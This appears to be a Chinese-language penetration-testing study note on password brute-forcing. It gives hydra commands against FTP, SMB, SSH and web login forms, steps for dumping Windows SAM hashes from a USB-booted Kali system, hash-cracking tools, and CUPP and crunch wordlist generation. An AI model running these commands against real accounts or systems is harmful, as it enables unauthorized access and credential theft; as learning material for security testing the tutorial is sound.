暴力破解
暴力破解的原理就不讲了. 讲几个破解工具吧
1.在线破解
1.1hydra(九头蛇)
支持很多种服务登陆破解
hydra -l user -P passlist.txt ftp://192.168.0.1
-l指定用户名 -P指定密码文件
如果不指定用户名可用-L 指定用户名文件
最后跟服务地址
破解windows共享
hydra -l administrator -P pass.lst smb://1.1.1.1/admin$ -vV
破解linux 远程登陆
hydra -l root -P pass.lst ssh://1.1.1.1 -s2121 -e nsr -t 10 -vV
-t 参数指定并发连接数 太快可能会出现问题
-e n(空密码) s(账号密码相同) r(eg:账号root 则尝试密码toor)
-s 指定非默认端口
HTTP表单提交
hydra -l admin -P pass.lst 1.1.1.1 http-post-form "/dvwa/login.php:username=^USER^&password=^PASS^&Login=Login:login failed" -V
username=^USER^&password=^PASS^&Login=Login 为表单需要提交的内容
uername,password为提交的表单的名称
login failed表示登陆失败后页面出现的信息可能会出现 登陆失败返回的不是同一个页面 后重定向到login 页面 此时无效
应该用 S=index.php 表示成功登陆后的信息
hydra比较不稳定
另一个工具medusa(美杜莎)相比较比较稳定 但是web表单破解存在缺陷支持的服务也少一点
2.离线破解
2.1离线密码破解思路:
嗅探获取密码hash
利用漏洞登陆服务器并从用户数据库获取密码HASH
识别hash的类型长度
利用离线破解工具进行hash碰撞
2.2 HASH识别工具:
hash‐identifier
Hashid
可能会存在识别错误或无法识别
2.3windows hash获取工具
利用漏洞:Pwdump、fgdump、mimikatz、wce
物理接触:samdump2(未实践)
方法 在目标机器上用U盘启动kali
1.mount /dev/sda1 /mnt
2.cd /mnt/Windows/System32/config
3.samdump2 SYSTEM SAM -o sam.hash
4.利用nc传输HASH
2.4碰撞工具:
Hashcat
RainbowCrack (修改版支持GPU)
John
3.密码生产工具
3.1 CUPP:按个人信息生成其专属的密码字典
git clone https://github.com/Mebus/cupp.git
使用 python cupp.py -i
不是很适合中国人的习惯 python编写 可自己修改
3.2 CRUNCH 按规则生产字典
crunch <min-len> <max-len> [<charset string>] [options]
charset string 表示字符集 默认为小写字母
crunch 6 6 0123456789 -o start -d 2 -b 1mb / -c 100
-o 表示输出文件 后跟文件名 (不指定-o 时生成字典直接输出在控制台)
-d 2 表示同一字符最多连续两次
-b 1mb 表示生成的文件按1mb分割 (单位可以时 kb mb gb kib mib gib 其中1000kb=1mb 1024kib=1mib)
-c 表示按行数分割文件
字符集:
在配置文件中有字符集,避免手打各种很长的字符集
字符集位置/usr/share/crunch/charset.lst (kali中)
例如 可以 hex-lower 代替手打 0123456789abcdef
* crunch 6 6 -f /usr/share/crunch/charset.lst hex-lower
-f 后跟字符集文件
crunch 1 1 -p 123456789
-p 指定一串字符 对该字符串改变顺序重组
-p必须时最后一个参数
最大最小长度失效 但是必须存在
与-s参数不兼容(-s指定起始字符串)
* crunch 4 4 0123456789 -s 9900
输出 9900 - 9999 已9900起始
* crunch 1 1 -q read
-q 读取文件每行重组(每行不重复)
最小长度最大长度失效
*字典组成规则(常用)
crunch 6 6 -t @,%%^^
@ :小写字母
,:大写字母
%:数字
^:特殊符号
*输出文件压缩
crunch 4 4 -t @,^^ -o 1.txt -z 7z
压缩格式:7z gzip bzip lzma
组合应用:
crunch 4 4 -f /usr/share/crunch/charset.lst mixalpha-numeric-all -space -o w.txt -t @d@@ -s cdab
因为指定了字符集 @表示字符集中的字符
crunch 5 5 abc DEF + !@# -t ,@^%,
abc DEF + !@# 表示字符集 小写字母在abc中取 大写字母在DEF中取 +表示占位符全数字 表示转义 !@#表示三个特殊字符 !@#